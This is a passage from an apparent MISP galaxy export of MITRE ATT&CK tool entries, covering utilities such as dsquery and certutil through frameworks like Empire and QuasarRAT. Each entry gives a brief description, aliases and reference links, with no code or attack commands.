https://github.com/LiveMirror/pcshare
https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf

dsquery - S0105

[dsquery](https://attack.mitre.org/software/S0105) is a command-line utility that can be used to query Active Directory for information from a system within a domain. (Citation: TechNet Dsquery) It is typically installed only on Windows Server versions but can be installed on non-server variants through the Microsoft-provided Remote Server Administration Tools bundle.

The tag is: *misp-galaxy:mitre-tool="dsquery - S0105"*

dsquery - S0105 is also known as:

- dsquery
- dsquery.exe

Table 11733. Table References

Links
https://attack.mitre.org/software/S0105
https://technet.microsoft.com/en-us/library/cc732952.aspx

cmd - S0106

[cmd](https://attack.mitre.org/software/S0106) is the Windows command-line interpreter that can be used to interact with systems and execute other processes and utilities. (Citation: TechNet Cmd)

Cmd.exe contains native functionality to perform many operations to interact with the system, including listing files in a directory (e.g., <code>dir</code> (Citation: TechNet Dir)), deleting files (e.g., <code>del</code> (Citation: TechNet Del)), and copying files (e.g., <code>copy</code> (Citation: TechNet Copy)).

The tag is: *misp-galaxy:mitre-tool="cmd - S0106"*

cmd - S0106 is also known as:

- cmd
- cmd.exe

Table 11734. Table References

Links
https://attack.mitre.org/software/S0106
https://technet.microsoft.com/en-us/library/bb490880.aspx
https://technet.microsoft.com/en-us/library/bb490886.aspx
https://technet.microsoft.com/en-us/library/cc755121.aspx
https://technet.microsoft.com/en-us/library/cc771049.aspx

certutil - S0160

[certutil](https://attack.mitre.org/software/S0160) is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)

The tag is: *misp-galaxy:mitre-tool="certutil - S0160"*

certutil - S0160 is also known as:

- certutil

- certutil.exe

Table 11735. Table References

Links
https://attack.mitre.org/software/S0160
https://technet.microsoft.com/library/cc732443.aspx

netsh - S0108

[netsh](https://attack.mitre.org/software/S0108) is a scripting utility used to interact with networking components on local or remote systems. (Citation: TechNet Netsh)

The tag is: *misp-galaxy:mitre-tool="netsh - S0108"*

netsh - S0108 is also known as:

- netsh
- netsh.exe

Table 11736. Table References

Links
https://attack.mitre.org/software/S0108
https://technet.microsoft.com/library/bb490939.aspx

BITSAdmin - S0190

[BITSAdmin](https://attack.mitre.org/software/S0190) is a command line tool used to create and manage [BITS Jobs](https://attack.mitre.org/techniques/T1197). (Citation: Microsoft BITSAdmin)

The tag is: *misp-galaxy:mitre-tool="BITSAdmin - S0190"*

BITSAdmin - S0190 is also known as:

- BITSAdmin

Table 11737. Table References

Links
https://attack.mitre.org/software/S0190
https://msdn.microsoft.com/library/aa362813.aspx

Koadic - S0250

[Koadic](https://attack.mitre.org/software/S0250) is a Windows post-exploitation framework and penetration testing tool that is publicly available on GitHub. [Koadic](https://attack.mitre.org/

software/S0250) has several options for staging payloads and creating implants, and performs most of its operations using Windows Script Host.(Citation: Github Koadic)(Citation: Palo Alto Sofacy 06-2018)(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-tool="Koadic - S0250"*

Koadic - S0250 is also known as:

- Koadic

Table 11738. Table References

Links
https://attack.mitre.org/software/S0250
https://github.com/offsecginger/koadic
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://web.archive.org/web/20211003035156/https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf

PsExec - S0029

[PsExec](https://attack.mitre.org/software/S0029) is a free Microsoft tool that can be used to execute a program on another computer. It is used by IT administrators and attackers.(Citation: Russinovich Sysinternals)(Citation: SANS PsExec)

The tag is: *misp-galaxy:mitre-tool="PsExec - S0029"*

PsExec - S0029 is also known as:

- PsExec

View relationships graph

PsExec - S0029 has relationships with:

- similar: misp-galaxy:tool="PsExec" with estimative-language:likelihood-probability="likely"

Table 11739. Table References

Links
https://attack.mitre.org/software/S0029
https://technet.microsoft.com/en-us/sysinternals/bb897553.aspx
https://www.sans.org/blog/protecting-privileged-domain-accounts-psexec-deep-dive/

Net - S0039

The [Net](https://attack.mitre.org/software/S0039) utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network

connections. (Citation: Microsoft Net Utility)

[Net](https://attack.mitre.org/software/S0039) has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) using <code>net use</code> commands, and interacting with services. The net1.exe utility is executed for certain functionality when net.exe is run and can be used directly in commands such as <code>net1 user</code>.

The tag is: *misp-galaxy:mitre-tool="Net - S0039"*

Net - S0039 is also known as:

- Net
- net.exe

Table 11740. Table References

Links
https://attack.mitre.org/software/S0039
https://msdn.microsoft.com/en-us/library/aa939914
https://web.archive.org/web/20150511162820/http://windowsitpro.com/windows/netexe-reference

esentutl - S0404

[esentutl](https://attack.mitre.org/software/S0404) is a command-line tool that provides database utilities for the Windows Extensible Storage Engine.(Citation: Microsoft Esentutl)

The tag is: *misp-galaxy:mitre-tool="esentutl - S0404"*

esentutl - S0404 is also known as:

- esentutl
- esentutl.exe

Table 11741. Table References

Links
https://attack.mitre.org/software/S0404
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/hh875546(v=ws.11)

FlexiSpy - S0408

[FlexiSpy](https://attack.mitre.org/software/S0408) is sophisticated surveillanceware for iOS and Android. Publicly-available, comprehensive analysis has only been found for the Android version.(Citation: FortiGuard-FlexiSpy)(Citation: CyberMerchants-FlexiSpy)

[FlexiSpy](https://attack.mitre.org/software/S0408) markets itself as a parental control and employee monitoring application.(Citation: FlexiSpy-Website)

The tag is: *misp-galaxy:mitre-tool="FlexiSpy - S0408"*

FlexiSpy - S0408 is also known as:

- FlexiSpy

Table 11742. Table References

Links
http://www.cybermerchantsofdeath.com/blog/2017/04/22/FlexiSpy.html
https://attack.mitre.org/software/S0408
https://d3gpjj9d20n0p3.cloudfront.net/fortiguard/research/Dig%20Deep%20into%20FlexiSpy%20for%20Android%28white%20paper%29_KaiLu.pdf
https://www.flexispy.com/

Reg - S0075

[Reg](https://attack.mitre.org/software/S0075) is a Windows utility used to interact with the Windows Registry. It can be used at the command-line interface to query, add, modify, and remove information. (Citation: Microsoft Reg)

Utilities such as [Reg](https://attack.mitre.org/software/S0075) are known to be used by persistent threats. (Citation: Windows Commands JPCERT)

The tag is: *misp-galaxy:mitre-tool="Reg - S0075"*

Reg - S0075 is also known as:

- Reg
- reg.exe

Table 11743. Table References

Links
https://attack.mitre.org/software/S0075
https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html
https://technet.microsoft.com/en-us/library/cc732643.aspx

Tasklist - S0057

The [Tasklist](https://attack.mitre.org/software/S0057) utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)

The tag is: *misp-galaxy:mitre-tool="Tasklist - S0057"*

Tasklist - S0057 is also known as:

- Tasklist

Table 11744. Table References

Links
https://attack.mitre.org/software/S0057
https://technet.microsoft.com/en-us/library/bb491010.aspx

ngrok - S0508

[ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021)

The tag is: *misp-galaxy:mitre-tool="ngrok - S0508"*

ngrok - S0508 is also known as:

- ngrok

Table 11745. Table References

Links
https://attack.mitre.org/software/S0508
https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44
https://web.archive.org/web/20211003035156/https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf
https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html
https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/

NBTscan - S0590

[NBTscan](https://attack.mitre.org/software/S0590) is an open source tool that has been used by state groups to conduct internal reconnaissance within a compromised network.(Citation: Debian nbtscan Nov 2019)(Citation: SecTools nbtscan June 2003)(Citation: Symantec Waterbug Jun 2019)(Citation: FireEye APT39 Jan 2019)

The tag is: *misp-galaxy:mitre-tool="NBTscan - S0590"*

NBTscan - S0590 is also known as:

- NBTscan

Table 11746. Table References

Links
https://attack.mitre.org/software/S0590
https://manpages.debian.org/testing/nbtscan/nbtscan.1.en.html
https://sectools.org/tool/nbtscan/
https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html
https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments

ftp - S0095

[ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP)

The tag is: *misp-galaxy:mitre-tool="ftp - S0095"*

ftp - S0095 is also known as:

- ftp
- ftp.exe

Table 11747. Table References

Links
https://attack.mitre.org/software/S0095
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp
https://linux.die.net/man/1/ftp

Systeminfo - S0096

[Systeminfo](https://attack.mitre.org/software/S0096) is a Windows utility that can be used to gather detailed information about a computer. (Citation: TechNet Systeminfo)

The tag is: *misp-galaxy:mitre-tool="Systeminfo - S0096"*

Systeminfo - S0096 is also known as:

- Systeminfo

Table 11748. Table References

Links
https://attack.mitre.org/software/S0096
https://technet.microsoft.com/en-us/library/bb491007.aspx

Ping - S0097

[Ping](https://attack.mitre.org/software/S0097) is an operating system utility commonly used to troubleshoot and verify network connections. (Citation: TechNet Ping)

The tag is: *misp-galaxy:mitre-tool="Ping - S0097"*

Ping - S0097 is also known as:

- Ping

Table 11749. Table References

Links
https://attack.mitre.org/software/S0097
https://technet.microsoft.com/en-us/library/bb490968.aspx

Arp - S0099

[Arp](https://attack.mitre.org/software/S0099) displays and modifies information about a system's Address Resolution Protocol (ARP) cache. (Citation: TechNet Arp)

The tag is: *misp-galaxy:mitre-tool="Arp - S0099"*

Arp - S0099 is also known as:

- Arp
- arp.exe

Table 11750. Table References

Links
https://attack.mitre.org/software/S0099
https://technet.microsoft.com/en-us/library/bb490864.aspx

schtasks - S0111

[schtasks](https://attack.mitre.org/software/S0111) is used to schedule execution of programs or scripts on a Windows system to run at a specific date and time. (Citation: TechNet Schtasks)

The tag is: *misp-galaxy:mitre-tool="schtasks - S0111"*

schtasks - S0111 is also known as:

- schtasks
- schtasks.exe

Table 11751. Table References

Links
https://attack.mitre.org/software/S0111
https://technet.microsoft.com/en-us/library/bb490996.aspx

Lslsass - S0121

[Lslsass](https://attack.mitre.org/software/S0121) is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Lslsass - S0121"*

Lslsass - S0121 is also known as:

- Lslsass

Table 11752. Table References

Links
https://attack.mitre.org/software/S0121
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

UACMe - S0116

[UACMe](https://attack.mitre.org/software/S0116) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)

The tag is: *misp-galaxy:mitre-tool="UACMe - S0116"*

View relationships graph

UACMe - S0116 has relationships with:

- similar: misp-galaxy:malpedia="UACMe" with estimative-language:likelihood-probability="likely"

Table 11753. Table References

Links
https://attack.mitre.org/software/S0116
https://github.com/hfiref0x/UACME

Rubeus - S1071

[Rubeus](https://attack.mitre.org/software/S1071) is a C# toolset designed for raw Kerberos interaction that has been used since at least 2020, including in ransomware operations.(Citation: GitHub Rubeus March 2023)(Citation: FireEye KEGTAP SINGLEMALT October 2020)(Citation: DFIR Ryuk's Return October 2020)(Citation: DFIR Ryuk 2 Hour Speed Run November 2020)

The tag is: *misp-galaxy:mitre-tool="Rubeus - S1071"*

Rubeus - S1071 is also known as:

- Rubeus

Table 11754. Table References

Links
https://attack.mitre.org/software/S1071
https://github.com/GhostPack/Rubeus
https://thedfirreport.com/2020/10/08/ryuks-return/
https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/
https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html

Cachedump - S0119

[Cachedump](https://attack.mitre.org/software/S0119) is a publicly-available tool that program extracts cached password hashes from a system's registry. (Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-tool="Cachedump - S0119"*

Cachedump - S0119 is also known as:

- Cachedump

Table 11755. Table References

Links
https://attack.mitre.org/software/S0119
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Pacu - S1091

Pacu is an open-source AWS exploitation framework. The tool is written in Python and publicly available on GitHub.(Citation: GitHub Pacu)

The tag is: *misp-galaxy:mitre-tool="Pacu - S1091"*

Pacu - S1091 is also known as:

- Pacu

Table 11756. Table References

Links
https://attack.mitre.org/software/S1091
https://github.com/RhinoSecurityLabs/pacu

Winexe - S0191

[Winexe](https://attack.mitre.org/software/S0191) is a lightweight, open source tool similar to [PsExec](https://attack.mitre.org/software/S0029) designed to allow system administrators to execute commands on remote servers. (Citation: Winexe Github Sept 2013) [Winexe](https://attack.mitre.org/software/S0191) is unique in that it is a GNU/Linux based client. (Citation: Überwachung APT28 Forfiles June 2015)

The tag is: *misp-galaxy:mitre-tool="Winexe - S0191"*

Winexe - S0191 is also known as:

- Winexe

View relationships graph

Winexe - S0191 has relationships with:

- similar: misp-galaxy:tool="Winexe" with estimative-language:likelihood-probability="likely"

Table 11757. Table References

Links
https://attack.mitre.org/software/S0191
https://github.com/skalkoto/winexe/
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/

xCmd - S0123

[xCmd](https://attack.mitre.org/software/S0123) is an open source tool that is similar to [PsExec](https://attack.mitre.org/software/S0029) and allows the user to execute applications on remote systems. (Citation: xCmd)

The tag is: *misp-galaxy:mitre-tool="xCmd - S0123"*

Table 11758. Table References

Links

https://ashwinrayaprolu.wordpress.com/2011/04/12/xcmd-an-alternative-to-psexec/
https://attack.mitre.org/software/S0123

BloodHound - S0521

[BloodHound](https://attack.mitre.org/software/S0521) is an Active Directory (AD) reconnaissance tool that can reveal hidden relationships and identify attack paths within an AD environment.(Citation: GitHub Bloodhound)(Citation: CrowdStrike BloodHound April 2018)(Citation: FoxIT Wocao December 2019)

The tag is: *misp-galaxy:mitre-tool="BloodHound - S0521"*

BloodHound - S0521 is also known as:

- BloodHound

Table 11759. Table References

Links
https://attack.mitre.org/software/S0521
https://github.com/BloodHoundAD/BloodHound
https://www.crowdstrike.com/blog/hidden-administrative-accounts-bloodhound-to-the-rescue/
https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf

Pupy - S0192

[Pupy](https://attack.mitre.org/software/S0192) is an open source, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool. (Citation: GitHub Pupy) It is written in Python and can be generated as a payload in several different ways (Windows exe, Python file, PowerShell oneliner/file, Linux elf, APK, Rubber Ducky, etc.). (Citation: GitHub Pupy) [Pupy](https://attack.mitre.org/software/S0192) is publicly available on GitHub. (Citation: GitHub Pupy)

The tag is: *misp-galaxy:mitre-tool="Pupy - S0192"*

Pupy - S0192 is also known as:

- Pupy

View relationships graph

Pupy - S0192 has relationships with:

- similar: misp-galaxy:rat="Pupy" with estimative-language:likelihood-probability="likely"

Table 11760. Table References

Links

https://attack.mitre.org/software/S0192
https://github.com/n1nj4sec/pupy

MailSniper - S0413

MailSniper is a penetration testing tool for searching through email in a Microsoft Exchange environment for specific terms (passwords, insider intel, network architecture information, etc.). It can be used by a non-administrative user to search their own email, or by an Exchange administrator to search the mailboxes of every user in a domain.(Citation: GitHub MailSniper)

The tag is: *misp-galaxy:mitre-tool="MailSniper - S0413"*

MailSniper - S0413 is also known as:

- MailSniper

Table 11761. Table References

Links
https://attack.mitre.org/software/S0413
https://github.com/dafthack/MailSniper

Expand - S0361

[Expand](https://attack.mitre.org/software/S0361) is a Windows utility used to expand one or more compressed CAB files.(Citation: Microsoft Expand Utility) It has been used by [BBSRAT](https://attack.mitre.org/software/S0127) to decompress a CAB file into executable content.(Citation: Palo Alto Networks BBSRAT)

The tag is: *misp-galaxy:mitre-tool="Expand - S0361"*

Expand - S0361 is also known as:

- Expand

Table 11762. Table References

Links
http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/
https://attack.mitre.org/software/S0361
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/expand

Tor - S0183

[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer

encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)

The tag is: *misp-galaxy:mitre-tool="Tor - S0183"*

Tor - S0183 is also known as:

- Tor

Table 11763. Table References

Links
http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf
https://attack.mitre.org/software/S0183

Forfiles - S0193

[Forfiles](https://attack.mitre.org/software/S0193) is a Windows utility commonly used in batch jobs to execute commands on one or more selected files or directories (ex: list all directories in a drive, read the first line of all files created yesterday, etc.). Forfiles can be executed from either the command line, Run window, or batch files/scripts. (Citation: Microsoft Forfiles Aug 2016)

The tag is: *misp-galaxy:mitre-tool="Forfiles - S0193"*

Table 11764. Table References

Links
https://attack.mitre.org/software/S0193
https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc753551(v=ws.11)

Out1 - S0594

[Out1](https://attack.mitre.org/software/S0594) is a remote access tool written in python and used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021.(Citation: Trend Micro Muddy Water March 2021)

The tag is: *misp-galaxy:mitre-tool="Out1 - S0594"*

Out1 - S0594 is also known as:

- Out1

Table 11765. Table References

Links

https://attack.mitre.org/software/S0594
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html

Responder - S0174

Responder is an open source tool used for LLMNR, NBT-NS and MDNS poisoning, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication. (Citation: GitHub Responder)

The tag is: *misp-galaxy:mitre-tool="Responder - S0174"*

Responder - S0174 is also known as:

- Responder

Table 11766. Table References

Links
https://attack.mitre.org/software/S0174
https://github.com/SpiderLabs/Responder

PowerSploit - S0194

[PowerSploit](https://attack.mitre.org/software/S0194) is an open source, offensive security framework comprised of [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules and scripts that perform a wide range of tasks related to penetration testing such as code execution, persistence, bypassing anti-virus, recon, and exfiltration. (Citation: GitHub PowerSploit May 2012) (Citation: PowerShellMagazine PowerSploit July 2014) (Citation: PowerSploit Documentation)

The tag is: *misp-galaxy:mitre-tool="PowerSploit - S0194"*

PowerSploit - S0194 is also known as:

- PowerSploit

Table 11767. Table References

Links
http://powersploit.readthedocs.io
http://www.powershellmagazine.com/2014/07/08/powersploit/
https://attack.mitre.org/software/S0194
https://github.com/PowerShellMafia/PowerSploit

meek - S0175

[meek](https://attack.mitre.org/software/S0175) is an open-source Tor plugin that tunnels Tor traffic through HTTPS connections.

The tag is: *misp-galaxy:mitre-tool="meek - S0175"*

meek - S0175 is also known as:

- meek

Table 11768. Table References

Links
https://attack.mitre.org/software/S0175

IronNetInjector - S0581

[IronNetInjector](https://attack.mitre.org/software/S0581) is a [Turla](https://attack.mitre.org/groups/G0010) toolchain that utilizes scripts from the open-source IronPython implementation of Python with a .NET injector to drop one or more payloads including [ComRAT](https://attack.mitre.org/software/S0126).(Citation: Unit 42 IronNetInjector February 2021)

The tag is: *misp-galaxy:mitre-tool="IronNetInjector - S0581"*

IronNetInjector - S0581 is also known as:

- IronNetInjector

Table 11769. Table References

Links
https://attack.mitre.org/software/S0581
https://unit42.paloaltonetworks.com/ironnetinjector/

ConnectWise - S0591

[ConnectWise](https://attack.mitre.org/software/S0591) is a legitimate remote administration tool that has been used since at least 2016 by threat actors including [MuddyWater](https://attack.mitre.org/groups/G0069) and [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) to connect to and conduct lateral movement in target environments.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)

The tag is: *misp-galaxy:mitre-tool="ConnectWise - S0591"*

ConnectWise - S0591 is also known as:

- ConnectWise
- ScreenConnect

Table 11770. Table References

Links
https://attack.mitre.org/software/S0591
https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html

SDelete - S0195

[SDelete](https://attack.mitre.org/software/S0195) is an application that securely deletes data in a way that makes it unrecoverable. It is part of the Microsoft Sysinternals suite of tools. (Citation: Microsoft SDelete July 2016)

The tag is: *misp-galaxy:mitre-tool="SDelete - S0195"*

SDelete - S0195 is also known as:

- SDelete

Table 11771. Table References

Links
https://attack.mitre.org/software/S0195
https://docs.microsoft.com/en-us/sysinternals/downloads/sdelete

AsyncRAT - S1087

[AsyncRAT](https://attack.mitre.org/software/S1087) is an open-source remote access tool originally available through the NYANxCAT Github repository that has been used in malicious campaigns.(Citation: Morphisec Snip3 May 2021)(Citation: Cisco Operation Layover September 2021)(Citation: Telefonica Snip3 December 2021)

The tag is: *misp-galaxy:mitre-tool="AsyncRAT - S1087"*

AsyncRAT - S1087 is also known as:

- AsyncRAT

Table 11772. Table References

Links
https://attack.mitre.org/software/S1087

https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader
https://blog.talosintelligence.com/operation-layover-how-we-tracked-attack/
https://telefonicatech.com/blog/snip3-investigacion-malware

MimiPenguin - S0179

[MimiPenguin](https://attack.mitre.org/software/S0179) is a credential dumper, similar to [Mimikatz](https://attack.mitre.org/software/S0002), designed specifically for Linux platforms. (Citation: MimiPenguin GitHub May 2017)

The tag is: *misp-galaxy:mitre-tool="MimiPenguin - S0179"*

MimiPenguin - S0179 is also known as:

- MimiPenguin

Table 11773. Table References

Links
https://attack.mitre.org/software/S0179
https://github.com/huntergregal/mimipenguin

Havij - S0224

[Havij](https://attack.mitre.org/software/S0224) is an automatic SQL Injection tool distributed by the Iranian ITSecTeam security company. Havij has been used by penetration testers and adversaries. (Citation: Check Point Havij Analysis)

The tag is: *misp-galaxy:mitre-tool="Havij - S0224"*

Table 11774. Table References

Links
https://attack.mitre.org/software/S0224
https://blog.checkpoint.com/2015/05/14/analysis-havij-sql-injection-tool/

sqlmap - S0225

[sqlmap](https://attack.mitre.org/software/S0225) is an open source penetration testing tool that can be used to automate the process of detecting and exploiting SQL injection flaws. (Citation: sqlmap Introduction)

The tag is: *misp-galaxy:mitre-tool="sqlmap - S0225"*

Table 11775. Table References

Links

http://sqlmap.org/
https://attack.mitre.org/software/S0225

QuasarRAT - S0262

[QuasarRAT](https://attack.mitre.org/software/S0262) is an open-source, remote access tool that has been publicly available on GitHub since at least 2014. [QuasarRAT](https://attack.mitre.org/software/S0262) is developed in the C# language.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)

The tag is: *misp-galaxy:mitre-tool="QuasarRAT - S0262"*

QuasarRAT - S0262 is also known as:

- QuasarRAT
- xRAT

Table 11776. Table References

Links
https://attack.mitre.org/software/S0262
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf
https://github.com/quasar/QuasarRAT
https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/

spwebmember - S0227

[spwebmember](https://attack.mitre.org/software/S0227) is a Microsoft SharePoint enumeration and data dumping tool written in .NET. (Citation: NCC Group APT15 Alive and Strong)

The tag is: *misp-galaxy:mitre-tool="spwebmember - S0227"*

spwebmember - S0227 is also known as:

- spwebmember

Table 11777. Table References

Links
https://attack.mitre.org/software/S0227
https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/

Remcos - S0332

[Remcos](https://attack.mitre.org/software/S0332) is a closed-source tool that is marketed as a remote control and surveillance software by a company called Breaking Security. [Remcos](https://attack.mitre.org/software/S0332) has been observed being used in malware campaigns.(Citation: Riskiq Remcos Jan 2018)(Citation: Talos Remcos Aug 2018)

The tag is: *misp-galaxy:mitre-tool="Remcos - S0332"*

Remcos - S0332 is also known as:

- Remcos

Table 11778. Table References

Links
https://attack.mitre.org/software/S0332
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html
https://web.archive.org/web/20180124082756/https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/
https://www.fortinet.com/blog/threat-research/remcos-a-new-rat-in-the-wild-2.html

PoshC2 - S0378

[PoshC2](https://attack.mitre.org/software/S0378) is an open source remote administration and post-exploitation framework that is publicly available on GitHub. The server-side components of the tool are primarily written in Python, while the implants are written in [PowerShell](https://attack.mitre.org/techniques/T1059/001). Although [PoshC2](https://attack.mitre.org/software/S0378) is primarily focused on Windows implantation, it does contain a basic Python dropper for Linux/macOS.(Citation: GitHub PoshC2)

The tag is: *misp-galaxy:mitre-tool="PoshC2 - S0378"*

PoshC2 - S0378 is also known as:

- PoshC2

Table 11779. Table References

Links
https://attack.mitre.org/software/S0378
https://github.com/nettitude/PoshC2_Python

AdFind - S0552

[AdFind](https://attack.mitre.org/software/S0552) is a free command-line query tool that can be used for gathering information from Active Directory.(Citation: Red Canary Hospital Thwarted Ryuk

October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)

The tag is: *misp-galaxy:mitre-tool="AdFind - S0552"*

AdFind - S0552 is also known as:

- AdFind

Table 11780. Table References

Links
https://attack.mitre.org/software/S0552
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/
https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html
https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html

RemoteUtilities - S0592

[RemoteUtilities](https://attack.mitre.org/software/S0592) is a legitimate remote administration tool that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least 2021 for execution on target machines.(Citation: Trend Micro Muddy Water March 2021)

The tag is: *misp-galaxy:mitre-tool="RemoteUtilities - S0592"*

RemoteUtilities - S0592 is also known as:

- RemoteUtilities

Table 11781. Table References

Links
https://attack.mitre.org/software/S0592
https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html

SILENTTRINITY - S0692

[SILENTTRINITY](https://attack.mitre.org/software/S0692) is an open source remote administration and post-exploitation framework primarily written in Python that includes stagers written in Powershell, C, and Boo. [SILENTTRINITY](https://attack.mitre.org/software/S0692) was used in a 2019 campaign against Croatian government agencies by unidentified cyber actors.(Citation: GitHub SILENTTRINITY March 2022)(Citation: Security Affairs SILENTTRINITY July 2019)

The tag is: *misp-galaxy:mitre-tool="SILENTTRINITY - S0692"*

SILENTTRINITY - S0692 is also known as:

- SILENTTRINITY

Table 11782. Table References

Links
https://attack.mitre.org/software/S0692
https://github.com/byt3bl33d3r/SILENTTRINITY
https://securityaffairs.co/wordpress/88021/apt/croatia-government-silenttrinity-malware.html

Xbot - S0298

[Xbot](https://attack.mitre.org/software/S0298) is an Android malware family that was observed in 2016 primarily targeting Android users in Russia and Australia. (Citation: PaloAlto-Xbot)

The tag is: *misp-galaxy:mitre-tool="Xbot - S0298"*

View relationships graph

Xbot - S0298 has relationships with:

- similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="TinyNuke" with estimative-language:likelihood-probability="likely"

Table 11783. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/new-android-trojan-xbot-phishes-credit-cards-and-bank-accounts-encrypts-devices-for-ransom/
https://attack.mitre.org/software/S0298

Empire - S0363

[Empire](https://attack.mitre.org/software/S0363) is an open-source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)

The tag is: *misp-galaxy:mitre-tool="Empire - S0363"*

Empire - S0363 is also known as:

- Empire
- EmPyre
- PowerShell Empire

Table 11784. Table References

Links
https://attack.mitre.org/software/S0363
https://github.com/PowerShellEmpire/Empire
https://github.com/dstepanic/attck_empire
https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools

Sliver - S0633

